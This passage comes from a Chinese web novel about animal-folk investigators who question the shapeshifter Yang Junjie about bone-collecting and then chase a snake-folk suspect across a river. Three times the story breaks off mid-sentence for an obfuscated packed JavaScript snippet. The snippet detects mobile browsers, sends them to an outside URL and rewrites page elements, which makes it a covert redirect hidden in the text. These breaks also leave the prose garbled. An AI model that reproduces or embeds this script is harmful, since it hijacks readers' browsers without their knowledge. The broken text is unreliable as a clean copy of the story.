“你们是谁?”女人的声音很轻,像羽毛拂过水面,但仔细听,那声线里似乎藏着一丝不易察觉的沙哑。 顾时夜定了定神,拱手道:“在下顾时夜,这是舍弟顾夜白,这位是白鸽。我们从南清来,想找杨骏杰先生,有事相询。” 女人的目光在三人脸上依次扫过,最后落在顾时夜腰间的剑上,琥珀色的瞳孔微微收缩了一下。“杨骏杰不在。”她顿了顿,语气平淡,“你们回去吧。” “姑娘请等一下!”顾夜白连忙上前一步,“我们是为了张兆的事来的。张兆先生,他……” 听到“张兆”二字,女人脸上的僵硬表情瞬间瓦解,那双空洞的眼睛里似乎闪过一丝波澜。 她沉默了片刻,将门缝拉大了些:“进来吧。” 老宅内部比外面看起来更宽敞,只是陈设简单得近乎简陋。厅堂中央摆着一张老旧的木桌,桌上点着一盏油灯,灯芯用的似乎是矿脂,燃烧时散发出淡淡的磷光。四周的墙壁上没有任何装饰,只有几个空落落的画框,框架上积着薄灰。 女人走到桌边,背对着他们坐下,灯光勾勒出她纤细的肩线。 “张兆……是我的朋友。”她的声音依旧很轻,但这次多了些微颤,“他怎么了?” 顾时夜叹了口气:“张兆先生他……已经过世了。我们受安大人所托,调查他的死因,听说他与杨骏杰先生交情甚笃,所以想问问杨先生是否知道些什么。” “死了……”女人喃喃自语,肩膀微微颤抖了一下,“怎么会死呢?他那么……”她突然打住话头,转过身来。 就在她转身的瞬间,顾时夜和白鸽同时感觉到一丝异样。那是一种极其细微的空气波动,像是某种生物在瞬间改变了体表的纹理。 只见女人脸上的皮肤似乎轻轻蠕动了一下,原本柔和的面部线条开始发生微妙的变化——下颌线条变得更硬朗,眉骨微微隆起,连那双琥珀色的眼睛也似乎缩小了些许。 “你们想知道杨骏杰在哪儿?”开口的不再是轻柔的女声,而是一个低沉沙哑的男声,带着金属摩擦般的质感,“远在天边,近在眼前。” 顾夜白惊得后退一步,手差点按上剑柄:“你……你是杨骏杰?!” “不然你以为呢?”男人站起身,身高比刚才高出一个头,原本合身的女式襦裙显得有些紧绷。 他走到油灯旁,伸出手指轻轻一捻,灯芯的火焰顿时亮了几分,照亮了他此刻的面容——虽然轮廓仍有几分女性的柔美,但喉骨已经清晰可见,嘴唇也变薄了些,那股诡异的美丽消失了,取而代之的是一种阴鸷的气质。 白鸽的心跳骤然加速。他想起安大人曾提起过西境的画皮妖,那是一种极为罕见的变色龙兽人,能通过改变皮肤细胞的色素分布,完美模拟他人的外貌,甚至能改变声带的结构来模仿声音。 眼前这人的特征,与安大人描述的画皮妖几乎一模一样。他不动声色地握紧了腰间的短弩,目光紧紧锁住对方。 杨骏杰似乎察觉到了他的警惕,嘴角勾起一抹冷笑:“别怕,小鸽子。我可不是什么吃人的妖怪。”他走到墙边,随手取下一个空画框,用手指轻轻擦拭着框架,“张兆死了……我就知道会有这么一天。” “你知道他是怎么死的?”顾时夜追问。 杨骏杰放下画框,转过身,眼神复杂地看着他们:“我不知道是谁杀了他,但我知道他为什么而死。因为我们的‘杰作’。” “杰作?”顾夜白疑惑地问,“什么杰作?” 杨骏杰走到厅堂中央,张开双臂,仿佛在展示什么伟大的作品。 “我们想创造一幅流传千古的杰作,一幅超越种族、超越生死的艺术品。”他的声音里带着狂热,“张兆是骨艺大师,他负责收集和拼接不同兽族的骨头;而我,负责赋予它最完美的皮囊。” 油灯的火焰“噼啪”一声爆响,溅起几点火星。 杨骏杰的眼神在火光中显得格外明亮,那是一种混杂着痴迷与疯狂的光芒。他走到墙角,推开一个不起眼的木柜,里面整齐地摆放着许多长条形的木盒。 “看,”他拿起一个盒子,打开,里面是一根泛着幽蓝光泽的骨头,形状像鸟类的翅骨,却比普通鸦羽骨粗壮数倍,“这是雷鹰的翅骨。雷鹰是北地最凶猛的飞禽,传闻羽毛能引动天雷,这骨头里还残留着雷霆的力量。张兆花了三个月,才在雷鹰巢穴的悬崖下找到这根完好的翅骨。” 他又拿起另一个盒子,里面是一根布满尖刺的腿骨:“这是岩甲犀的腿骨。岩甲犀皮糙肉厚,连磷矿石的尖刃都刺不穿,张兆用了整整十桶强酸,才将附在骨头上的肌肉组织腐蚀干净。” 顾时夜和顾夜白对视一眼,都从对方眼中看到了震惊。这些骨头不仅来源奇特,处理方式也极其残忍。顾夜白忍不住开口:“你们收集这些骨头,就是为了拼一副骨架?” “不仅仅是骨架。”杨骏杰的声音带着一丝炫耀,“是一副‘万族之骨’的骨架。我要让它集齐兽族十二大分支的代表骨骼,每一根骨头都必须具有最纯粹的种族特性。张兆负责寻找和处理,而我……”他顿了顿,指尖轻轻划过自己的脸颊,皮肤在他的触摸下泛起一阵细密的鳞光,“我负责用我的能力,为这副骨架量身定做一副皮囊。一副集合所有种族优点的、最完美的皮囊。” 白鸽默默地从怀里掏出一个小本子和炭笔,将杨骏杰的话快速记录下来。他注意到杨骏杰在提到“皮囊”时,眼神里充满了渴望,那是一种对完美近乎病态的追求。 “那……那对獠牙呢?”白鸽想起江知烨说过的蛇族男人,“是不是也是你们‘杰作’的一部分?” 提到獠牙,杨骏杰的眼神骤然变得阴冷,嘴角勾起一抹残酷的笑意。“啊,那对獠牙……”他小心翼翼地打开,里面赫然是一对闪着青黑色寒光的獠牙,獠牙根部还残留着些许暗红色的组织,“这是瀚海巨蟒的獠牙。瀚海巨蟒是蛇族中最凶悍的分支,成年巨蟒能活千年,獠牙里蕴含着剧毒。” 他伸出手指,轻轻抚摸着獠牙的尖端,语气带着一种诡异的温柔:“张兆说,万族之骨不能缺少蛇族的‘毒’。我们找了很久,才在一个蛇窟里发现了一条即将蜕皮的老蟒。那老蟒精得很,躲在毒沼深处,寻常人根本靠近不了。” 杨骏杰的声音低沉下去,仿佛在回忆那段经历:“张兆想了个办法,用发情期的母蟒气味做诱饵,引那老蟒出洞。我们在毒沼边埋伏了三天三夜,蚊子把我咬得浑身是包,张兆的腿也被毒藤划伤了。等那老蟒终于上钩时,张兆拿着特制的骨钳,我负责用迷药……” 他突然停住,抬起头,眼中闪过一丝凶光:“那老蟒力气大得惊人,尾巴一甩就把旁边的毒树抽断了。张兆趁它张口嘶吼时,猛地将骨钳伸进去,夹住了它的獠牙。你们知道吗?蛇族的獠牙是和头骨连在一起的,生拔下来有多疼……” 杨骏杰的脸上露出一种近乎陶醉的表情:“那老蟒疼得整个毒沼都沸腾了,毒液喷得到处都是,把张兆的衣服都腐蚀出了好几个洞。但他硬是没松手,直到把那对獠牙活生生拔了下来!老蟒疼得晕死过去,我们趁机带着獠牙跑了。张兆说,这獠牙上带着蛇族最纯粹的‘凶性’,是万族之骨的点睛之笔。” 顾夜白听得脸色发白,只觉得胃里一阵翻江倒海。他从未想过,所谓的“杰作”背后,竟然是如此残忍的行径。 生拔蛇族獠牙,这简直不是人能做出来的事! 顾时夜的脸色也十分难看,他强压下心中的厌恶,问道:“张兆是不是因为收集这些骨头,得罪了什么人?他的死,会不会和这有关?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他不再停留,推开门,带着顾夜白和白鸽走出了老宅。 外面的夜风更冷了,吹在脸上像刀割一样。 三人沿着来时的路往回走,谁也没有说话。刚才在老宅里的所见所闻,如同一块沉重的石头,压在每个人的心头。 “哥,”顾夜白终于忍不住开口,声音有些发颤,“杨骏杰说的……是真的吗?张兆他……真的从活人身上取骨头?” 顾时夜沉默了片刻,才缓缓道:“我不知道。但杨骏杰这个人,绝对不简单。他是画皮妖,最擅长的就是说谎和伪装。刚才他说那些话,说不定是想扰乱我们的调查方向。” 白鸽一直低头走着,手指还保持着握笔的姿势,似乎还在回味刚才记录的内容。这时,他突然停下脚步,轻声说:“杨骏杰在提到瀚海巨蟒獠牙时,有一个细节很奇怪。” “什么细节?”顾时夜和顾夜白同时看向他。 “他说张兆用特制的骨钳拔獠牙,”白鸽回忆着,“但蛇族的獠牙结构特殊,尤其是瀚海巨蟒这种高阶蛇族,獠牙根部有倒钩,强行拔除只会让獠牙断裂,不可能完整取下来。”他抬起头,眼神清澈而冷静,“除非……那獠牙本来就是脱落的,或者是被人用特殊方法取下的。” 顾时夜心中一动:“你是说,杨骏杰在说谎?” “至少在獠牙的获取方式上,他没有说实话。”白鸽点点头,“还有他提到的‘杰作’,万族之骨……安大人曾说过,西境有种禁忌巫术,就是用各族活物的骨头炼制邪器,据说能让人获得操控他人的力量。杨骏杰和张兆的行为,很像在收集巫术材料。” 顾夜白听得毛骨悚然:“巫术?那杨骏杰的画皮术,是不是也和这有关?” “有可能。”顾时夜深吸一口气,强迫自己冷静下来,“不管怎样,我们现在有了方向。张兆的死,很可能和他收集骨头的行为有关。杨骏杰是关键人物,但他显然有所隐瞒。” 三人边走边聊,不知不觉已走出了废弃矿洞区,重新回到了岩磷城的主街。街道上的人少了许多,只有几个醉醺醺的矿工在墙角呕吐,空气中弥漫着劣质麦酒和矿石的混合气味。 “先找个地方落脚吧。”顾时夜看到前方有家挂着“矿石客栈”招牌的建筑,“今晚好好休息,明天再去查查张兆提到的那些部落,尤其是西境蛇窟的方向。” 走进客栈,一股霉味扑面而来。掌柜是个豺狼族,收了房钱后,扔给他们三把钥匙,便自顾自地打起了瞌睡。 房间很小,只有一张硬板床和一个破旧的木桌,墙壁上布满了矿石渗出的水渍。 顾夜白往床上一躺,长长地叹了口气:“这地方比我想象的还诡异。杨骏杰那家伙,一会儿男一会儿女,看着就瘆得慌。还有那些骨头……啧啧,想想都起鸡皮疙瘩。” 顾时夜坐在桌边,拿出安大人给的地图,借着窗外透进来的微弱磷光,仔细查看着西境的路线。“别想太多,好好休息。明天还有硬仗要打。” 白鸽则坐在角落里,拿出小本子,借着月光,将今天的所见所闻重新梳理记录。 他写得很认真,每一个细节都不放过,尤其是杨骏杰提到的那些骨头的来源和处理方式。 写着写着,他忽然停笔,想起了杨骏杰最后说的那句话——“也说不定,就在你们身边”。 白鸽抬起头,看向顾时夜和顾夜白。顾时夜正专注地看着地图,顾夜白已经发出了轻微的鼾声。 他们是乌鸦兽人,性格开朗,身手矫健,怎么看都不像是与巫术有关的人。但在岩磷城这个诡异的地方,在杨骏杰这个画皮妖的暗示下,一丝疑虑还是不可避免地爬上了白鸽的心头。 他甩了甩头,试图驱散这荒谬的想法。也许杨骏杰只是想挑拨离间,也许张兆的死真的和那些被夺走骨头的部落有关。无论如何,他都必须保持警惕,不仅是对敌人,也可能是对……同伴? 不,不会的。 白鸽摇摇头,重新低下头,握紧了手中的炭笔。他相信江大人的眼光,也相信自己的判断。当务之急,是查清张兆的死因,揭开“万族之骨”的秘密,以及杨骏杰那张画皮下隐藏的真相。 窗外,岩磷城的夜空被矿石的荧光染成了诡异的蓝绿色,像一块巨大的、冰冷的画布,笼罩着这座靠矿物生存的城市。 而在这画布之下,又隐藏着多少不为人知的秘密与阴谋? 所谓的身边人,又是什么意思呢? 33. 蛇踪诡影 岩磷城的磷光在身后渐次淡成幽蓝的虚线,顾时夜将最后一块风干肉递给顾夜白,帆布水袋在三人之间流转时已能听见晃荡的空响。 他们在城中盘桓七日,除了从几个醉醺醺的矿工口中套出张兆“曾用整袋磷晶换过狼族幼崽的指骨”这类毛骨悚然的传闻,再无实质性进展。 杨骏杰老宅的木门自他们离开后便再未开启,那扇雕花门板像一道凝固的谜面,将万族之骨的秘密锁在废弃矿洞区的阴影里。 “再耗下去,安大人派来的信鸦该以为我们喂了荒原狼。”顾时夜用匕首剔着靴底嵌着的矿渣,“先回南清复命,至少要把杨骏杰的画皮妖身份和那些骨头的事报上去。” 顾夜白将最后一口麦酒灌进喉咙,如释负重般开口,“早该走了,那破城里的麦酒喝得我胃里直冒磷火。” 白鸽始终沉默地整理着腰间的皮囊,指尖的炭笔痕迹尚未褪尽,那本牛皮封面的卷本里,杨骏杰描述的每根骨头都配有速写:雷鹰翅骨的幽蓝纹理、岩甲犀腿骨的尖刺排布,还有那对青黑色獠牙的精确尺寸。 此刻他忽然顿住动作,抬头望向西北方天际翻涌的暗黄色云团:“风势变了,是黑沙暴。” 顾时夜猛地站起身,荒原的风已卷起砾石抽打在他们披风上。远处的地平线被一道高耸的沙墙吞噬,黄褐色的尘雾中隐约传来沉闷的雷鸣。 “快!找避风处!”他一把抓住顾夜白的手腕,同时朝白鸽打了个手势。 三只羽翼在狂风中奋力扇动,乌鸦的黑色翎羽与鸽子的雪白羽片被风沙撕扯得凌乱,顾夜白的伤口在剧烈飞行中隐隐作痛。 “那边!”顾时夜指向前方岩壁上一道黑黢黢的裂隙。 三人几乎是撞进山洞的,顾夜白刚站稳就剧烈咳嗽起来,喉咙里全是沙砾的涩味。 洞外的沙暴如同巨兽的咆哮,将天地间的一切声音都碾成齑粉。 “还好没被沙砾糊住眼睛。”顾夜白抹了把脸上的沙尘,忽然闻到一股混杂着皮革与香料的气味。 山洞深处传来篝火噼啪的声响,几盏兽油灯的光晕摇曳着,照亮了堆积如山的货物——成捆的生皮、雕花木箱,还有几匹被布幔覆盖的骆驼,正不安地刨着蹄子。 “什么人?”一个沙哑的声音从阴影中响起,伴随着金属摩擦的轻响。 顾时夜立刻挡在弟弟身前,手按在剑柄上:“过路的旅人,遇沙暴暂避。”他眯起眼,看见篝火旁坐着几个身披兽皮的汉子,为首的老者额头缠着镶有铜钉的皮绳。 老者上下打量着他们,目光在三人背后的羽翼上停留片刻,忽然笑了:“乌鸦和鸽子?少见的组合。”他指了指火堆旁的空位,“过来烤烤火吧,这鬼天气没几个人能活着走出去。” 顾夜白刚想迈步,却被顾时夜拉住。白鸽则悄然走到篝火边缘,借着光亮观察那些货物——木箱上烙着“西境商栈”的火漆印,生皮中混杂着几捆墨绿色的矿绳,显然是从岩磷城运来的。 “你们是去西境的商队?”顾时夜在老者对面坐下,开口询问。 “去西境换点兽牙皮毛。”老者往火里添了块干牛粪,火焰骤然腾起,照亮了他耳后那道深可见骨的伤疤,“看你们的打扮,从岩磷城来?” 顾时夜颔首,从怀里摸出半块压缩饼掰碎了喂给掌心的信鸦:“去查点事。老丈可曾听说过‘瀚海巨蟒’?” 老者捻着胡须的动作猛地顿住,旁边几个年轻汉子交换了个惊疑的眼神。 “瀚海巨蟒?”老者嗤笑一声,往火里啐了口唾沫,“小伙子,你是被岩磷城的矿工灌多了吧?那东西压根不在西境,是沿海獠人地盘的怪物,前几年有艘商船在北部湾触礁,船上的人说见过那蛇吐着信子掀翻了半艘船。” 顾时夜与白鸽对视一眼,后者立刻从皮囊里掏出卷本,翻到画着蛇鳞的那一页:“老丈请看,这种鳞片是否与您说的瀚海巨蟒相似?” 老者凑近油灯,眯着眼看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694765|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了半晌,又用粗糙的手指摩挲着纸页上的纹路:“鳞片形状是有点像,但颜色不对。瀚海巨蟒的鳞子在月光下泛银蓝色,你这画的是……墨磷蛇?” “墨磷蛇?”顾夜白忍不住插嘴,“那是什么?” “一种长在南方沼泽的毒蛇,”老者身后的年轻汉子开口,他手臂上缠着蛇皮护腕,“鳞片在夜里会发绿莹莹的光,跟岩磷城的矿石似的。前两年我跟着商队去南边收皮子,见过猎户剥这种蛇的皮,牙口跟瀚海巨蟒倒是有几分像,都是青黑色带倒钩。” 白鸽的手指微微颤抖,炭笔在纸页上划出一道歪斜的痕迹。他迅速翻到獠牙的速写那页:“那这种獠牙呢?” 老者接过笔记本,眉头拧成了疙瘩。他将画纸凑到离眼睛不到三寸的地方,又让旁边的年轻汉子都看了一遍。 “错不了,”缠蛇皮护腕的汉子斩钉截铁地说,“就是墨磷蛇的毒牙!你看这牙根部的螺旋纹,瀚海巨蟒的牙是直的,只有墨磷蛇才有这种纹路。” 顾时夜的心跳骤然加速,仿佛有什么东西在脑海里轰然炸开。 杨骏杰明明说那是瀚海巨蟒的獠牙,为什么商队的人却指认是南方的墨磷蛇?是他记错了,还是故意说谎? “老丈,”顾时夜的声音压得很低,“这墨磷蛇在南清城附近可有分布?” 老者把本子还给白鸽,眼神变得有些古怪:“南清城?城里有这种兽人倒是不奇怪,。不过……”他顿了顿,往火里添了根柴,“要说这种生物,不大可能,意城周边有还有可能。” “是吗,那谢谢你了。”顾夜白思考片刻,眉头紧皱,“哥,我们先回去把这个消息告诉江大人。” “行,对了,不知老丈,这风沙还有多久停下来”顾夜白转头询问老者。 “快了”老者抬头看了看外面的天色,“约莫一个时辰。” 闻言顾时夜点了点头,望着洞外飞舞的黄沙或有所思,冥冥之中,答案似乎很接近了。 34. 案件收尾 南清城的晨雾被第一声锣响震碎,巡城兵丁举着新制的通缉令穿过大街小巷。 纸页上的墨色尚未完全干透,勾勒出一个模糊的侧影,旁边用朱砂标注着关键特征:墨磷蛇族,雄性,身形瘦削如竹,口中獠牙缺失,随身携带柄刃宽一寸的蝎尾勾刃。 “都看好了!见到这般模样的人,立刻报官!”为首的什长用刀柄敲着墙根。 早市的摊贩们纷纷探头,菜筐里的青菜还挂着露水,却被这突如其来的通缉令搅得人心惶惶。 这已是张兆死后的第十七日。 江知烨案头的卷宗堆得像座小山,最上面压着几张皱巴巴的证词——有人说在城西废井旁见过戴面纱的蛇族男子,有人说北门码头有个独牙蛇人常买腐肉喂乌鸦,最集中的线索却指向两个月前:一个左颊有道蛇信状疤痕的蛇族兽人,曾在骨器巷多家作坊当短工,手脚麻利却从不开口,直到某夜突然消失,留下半袋泛着磷光的蛇蜕。 “又是‘两个月前’。”江知烨将手中的狼毫笔重重搁在笔山上,墨汁溅在案头的朱砂印泥上,洇开一小团暗红。 自张兆的案件开始后,南清城便像一口被投入巨石的深井,表面平静无波,底下却暗流汹涌。 安德鲁已下令封锁全城水陆要道,连城外五里的驿站都增设了三重岗哨,可这蛇族的嫌疑人,却像滴入滚油的水珠,瞬间没了踪影。 “大人,”贴身侍卫阿木递上刚沏好的碧螺春,“顾捕头他们去岩磷城已有段日子,按信鸦的脚程,今日该有回音了。” 江知烨端起茶杯,却没喝,只是盯着杯中游动的茶叶:“岩磷城那地方,磷矿的气味能盖住任何踪迹。杨骏杰的底细,怕是比我们想的更深。” 正思忖间,窗外忽然掠过一道黑影,伴随着急促的鸟鸣。江知烨猛地抬头,只见一只羽毛被风沙染成灰黑色的信鸦,正扑棱着翅膀撞向窗棂。 阿木眼疾手快地推开窗户,信鸦跌落在红木书案上,腿上绑着的竹筒已被沙砾磨出几道划痕。 “是顾捕头的信鸦!”阿木解下竹筒,手指因激动而微微颤抖。 竹筒里只有半张薄如蝉翼的宣纸,上面用炭笔草草写着几行字:“岩磷查得杨骏杰画皮妖身份,万族之骨涉邪术,嫌疑人可能为墨磷蛇兽人,疑杨骏杰说谎。现遇沙暴暂避,不日返南清。” 江知烨反复读了三遍,指尖在“墨磷蛇”三字上摩挲着,仿佛要从纸页间捻出些线索来。 墨磷蛇生于南方沼泽,鳞片在暗处能发出与岩磷城矿石相似的荧光,这与之前市井传闻中“夜间发光的蛇蜕”不谋而合。 可杨骏杰为何要说谎,所谓的万族至骨又是什么呢? “阿木,”江知烨的声音陡然变得低沉,“去把安大人请来,就说白鸽他们有紧急案件回报。另外,传我命令,加派一倍人手巡查城南沼泽区,特别是那些废弃的采石坑——墨磷蛇喜阴湿,说不定那蛇族嫌疑人就藏在那附近!” 这所谓的嫌疑人,到底是何方神圣? 当顾时夜三人的身影出现在南清城南门时,城楼上的瞭望兵差点将他们当成了荒原上来的沙盗。 顾夜白的黑色羽翼上沾满了沙砾,好几根翎羽被风沙撕裂,露出底下粉嫩的皮肤;顾时夜的披风破了个大洞,剑柄上缠着的布条也磨得只剩半截;唯有白鸽依旧保持着相对整洁,只是白色的衣袖上多了几道暗黄色的沙痕。 “是顾捕头他们!快开城门!”瞭望兵的喊声惊动了城门守卫,沉重的吊桥“吱呀呀”地落下,铁链摩擦的声响在晨雾中显得格外刺耳。 顾时夜刚踏过护城河,就看见江知烨和安德鲁带着一队兵丁迎面走来。安德鲁穿着正式的黑金官服,而江知烨则依旧是那身玄红搭配的官服。 “辛苦了。”安德鲁率先开口,目光在三人狼狈的模样上停留片刻,“岩磷城那边,可有收获?” “收获颇丰,也疑点重重。”顾夜白率先开口,风沙的寒气似乎还冻着他的声带,“杨骏杰确是画皮妖,我们亲眼见他变换容貌。他口中的‘万族之骨’,实则是收集各族兽人骨骼拼接成骨架,再由他赋予皮囊——但其中关键的蛇族獠牙,并非他所说的瀚海巨蟒,而是南方的墨磷蛇。” “墨磷蛇?”江知烨眼中精光一闪,“林大夫也是这么说的” 白鸽忽然上前一步,将本子翻到画着獠牙的那一页:“安大人,江大人,杨骏杰在描述取獠牙的过程时,声称张兆用骨钳生拔,但墨磷蛇的獠牙根部有螺旋倒钩,强行拔除只会断裂。这是商队的人确认过的——” 安德鲁接过笔记本,眉头紧锁:“也就是说,杨骏杰在獠牙的获取方式上撒了谎。他为何要这么做?” “或许是为了掩盖獠牙的真实来源,”顾时夜沉声道,“又或许,张兆的死根本就与这对獠牙有关。” 这话如同一道惊雷,炸得在场众人皆是一怔。江知烨猛地抬头:“你是说,与这对獠牙有关?” “十有八九。”顾夜白指尖轻点着额头,努力思考,“如果说,张兆得罪了人,那想杀他的人自然可能会是因为这对獠牙,亦或别的。” “甚至可能,张兆的死确实蹊跷”安德鲁接口道,“但若是联系兔女那件案件,又有点问题.....” “还有更奇怪的事。”白鸽忽然插话,他翻开笔记本的新一页,上面用炭笔勾勒着一个扭曲的符号,“张兆那时我们发现的符号又是什么意思?” “当务之急,是找到那个黑磷蛇族的嫌疑人。”江知烨合上笔记本,语气果断,“根据你们带回的线索,加上之前的证词,此人特征已经很明显:黑磷蛇族,雄性,身高七尺有余,身形瘦削,缺失獠牙,携带蝎尾勾刃。传命令,全城搜捕,重点排查城南沼泽区和废弃矿洞!” 通缉令像雪片般撒遍南清城的大街小巷,连城墙根下的乞丐窝都被兵丁翻了个底朝天。 顾时夜三人顾不上休整,立刻投入排查,顾夜白带着方妙和一队兵丁搜查码头,顾时夜则陪同江知烨巡视城南沼泽,白鸽则留在安大人府邸,整理所有线索。 城南沼泽弥漫着腐草与淤泥的气味,齐腰深的水草间不时有气泡冒出,发出“咕嘟咕嘟”的声响。 顾时夜踩着木板搭成的简易栈道,手中的长剑警惕地拨开面前的芦苇。江知烨跟在他身后,绣着竹纹的衣摆已被泥水溅湿,却浑然不觉。 “大人你看这里。”顾时夜忽然停下脚步,用剑尖挑起一丛水草。水草根部缠绕着半截破旧的布条,布条上染着暗褐色的污渍,半截闻去,除了淤泥味,还有一丝若有若无的酸气。 江知烨蹲下身,小心翼翼地捏起布条一角:“是矿工常穿的粗麻布。这附近没有矿场,布料从何而来?”他抬头望向远处几座废弃的采石坑,坑壁上裸露的岩层呈现出与岩磷城相似的青灰色。 就在这时,远处忽然传来一阵喧哗,伴随着金属碰撞的声响。顾时夜猛地站起身:“是码头方向!” 当他们赶到码头时,只见顾夜白正带着兵丁围堵在一艘乌篷船旁,船舷边散落着几只破碎的陶罐,里面的液体正汩汩流入水中,将浑浊的江水染成诡异的颜色。 “哥!江大人!”顾夜白额头上布满汗珠,手中的长刀指着船舱,“那家伙就在里面!他刚才想抢船出海,被我们堵住了!” 船舱的帘子被风吹得猎猎作响,里面传来粗重的喘息声。顾时夜握紧长剑,示意兵丁散开,形成包围圈。 江知烨则走到船头,朗声道:“里面的人听着,你已被包围,速速出来受缚!” 回答他的,是一声低沉的嘶吼,如同蛇信子摩擦岩石。紧接着,船舱帘子“刷”地被掀开,一个黑影猛地窜了出来! 那人穿着沾满污泥的兽皮短打,身形果然瘦削如竹,最显眼的是他那张脸——皮肤呈现出蛇鳞特有的质感,左颊有道深可见骨的疤痕,形状酷似分叉的蛇信,而他的嘴部塌陷,显然缺失了上排獠牙。他手中握着一柄短刃,刃身弯曲如蝎尾,正是通缉令上描述的蝎尾勾刃! “黑磷蛇族!果然是你!”顾夜白怒吼一声,挥刀劈向那人。 黑磷蛇人却不硬接,身体像蛇一样灵活地扭动,蝎尾勾刃在空气中划出一道反光,直取顾夜白手腕。顾时夜见状立刻上前支援,长剑与勾刃碰撞在一起,发出“叮”的脆响,溅起几点火星。 “抓住他!别让他跑了!”江知烨大声下令,兵丁们手持长矛围拢过来。 黑磷蛇人眼中闪过一丝狠戾,突然向后一跃,竟直接跳进了江水中!江水冰冷刺骨,他却像鱼儿般灵活地摆动身体,迅速游向停泊在远处的一艘渔船。 “不好!他要抢船!”顾时夜大喊,同时张弓搭箭,却因距离太远而未能命中。 只见黑磷蛇人抓住渔船的船舷,猛地翻身而上,用蝎尾勾刃砍断系船的缆绳。渔船随着水流漂向江心,船帆被风吹得鼓起,速度越来越快。 “快追!”安德鲁的声音从码头另一头传来,他带着一队水师兵丁匆匆赶来,身后跟着几艘快船。 顾时夜、顾夜白和江知烨立刻跳上最近的一艘快船,船头劈开波浪,紧紧追向前面的渔船。江面上刮起了大风,浪头一个高过一个,快船在波涛中上下颠簸,船舷不时被浪花打湿。 黑磷蛇人站在渔船船头,任凭风吹乱他的头发,蝎尾勾刃在手中挥舞,竟将迎面而来的浪头劈成两半。 他回头看向追兵,脸上露出一抹诡异的笑容,随即从怀中掏出一个小瓶,将里面的墨绿色液体倒进嘴里! “小心!他要使毒!” 话音未落,就见黑磷蛇人猛地张口,向追兵喷出一股墨绿色的毒雾!毒雾在风中迅速扩散,带着强烈的酸腐气味。 顾时夜立刻挥剑劈开毒雾,同时大喊:“屏住呼吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694766|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 快船被迫减速,眼睁睁看着渔船越驶越远,即将驶入前方的江湾。 一旦进入江湾,水流将变得更加复杂,再想追捕就难了。 “不能让他跑了!”安德鲁猛地站起身,不顾船身的颠簸,从腰间解下一张硬弓,搭上一支特制的响箭。他深吸一口气,瞄准渔船的船帆,手臂用力一拉—— “咻——”响箭带着尖锐的呼啸声划破长空,正中渔船的主帆!帆布“嗤”地一声裂开一道大口子,船速顿时慢了下来。 黑磷蛇人见状,眼中闪过一丝慌乱。他环顾四周,发现追兵已渐渐靠近,而前方的江湾也近在眼前。突然,他做出了一个令人意想不到的举动——竟纵身跃入江水,朝着江湾深处游去! “追!一定要抓住他!”顾时夜作势要追上去。 “等等!”顾夜白突然大喊,他指着江湾方向,语气急促,“前面水下有暗礁和激流,不能贸然追进去!” 顾时夜一愣,看着江湾里那片水域,水中一个巨大的阴影掠过。 江知烨走到船头,望着茫茫江水,眉头紧锁:“我去追。不能让他跑了,我们已经确认了他的身份,这是重大进展。杨骏杰的阴谋,张兆的死因,看来都与这个黑磷蛇人脱不了干系。” 说罢江知烨纵身跃入海水里,水面炸开一团雪白的水花。寒意顺着衣领灌入,他却无暇顾及——黑磷蛇人的身影已化作一道墨色闪电,正朝着江湾深处的迷雾游去。 指尖触碰到水流的刹那,骨骼发出细微的噼啪声响,下半身的布料在水中寸寸碎裂,取而代之的是覆盖着灰蓝的鲨鱼尾,尾鳍拍击水面时激起强劲的涡流。 “小心暗礁!”顾夜白的喊声被水流吞没,江知烨却已如离弦之箭般窜出。 他自幼在近海长大,鲨鱼兽人的本能让他对水流的感知远超常人。前方水域的水温明显下降,暗礁群的轮廓在浑浊的江水中若隐若现,更让他警惕的是水下不时掠过的巨大阴影,对方扁平的尾部扫过礁石时,会激起一串串浑浊的泥沙。 黑磷蛇人显然对这片水域极为熟悉,他扭动身躯的姿态灵活得像条鳗鱼,几次在暗礁缝隙间辗转腾挪,试图甩开追兵。 但江知烨的鲨鱼尾每一次摆动都能带出数米的距离,水流在他周身形成稳定的推力,让他在复杂地形中依旧保持着惊人的速度。他能看到前方蛇人身上的黑色鳞片在水中泛着幽光,那是常年接触剧毒物质才会形成的色泽。 “站住!”江知烨低吼一声,声线在水中传播时带着奇异的震颤。 黑磷蛇人猛地回头,眼中闪过怨毒的光,张口便喷出一股墨绿色的毒液。毒液在水中形成一片朦胧的毒雾,江知烨早有防备,侧身避开的同时,鲨鱼尾狠狠拍向水面。一道弧形的水墙骤然升起,将毒雾冲散的同时,也让黑磷蛇人前进的势头为之一滞。 但对方显然不想恋战,只想尽快钻入江湾更深处的洞穴。可远处的江知烨已经拉近了距离,他甚至能清晰看到蛇人尾腹边缘磨损的痕迹。 两人之间的距离缩短到十丈之内时,江知烨不再保留实力。他猛地吸气,胸腔鼓起,离弦似地冲过去挥出拳头,正中黑磷蛇人的后背。 蛇人闷哼一声,身体像断线的风筝般撞向一块凸起的礁石,背部鳞片簌簌剥落,渗出黑红色的血液。 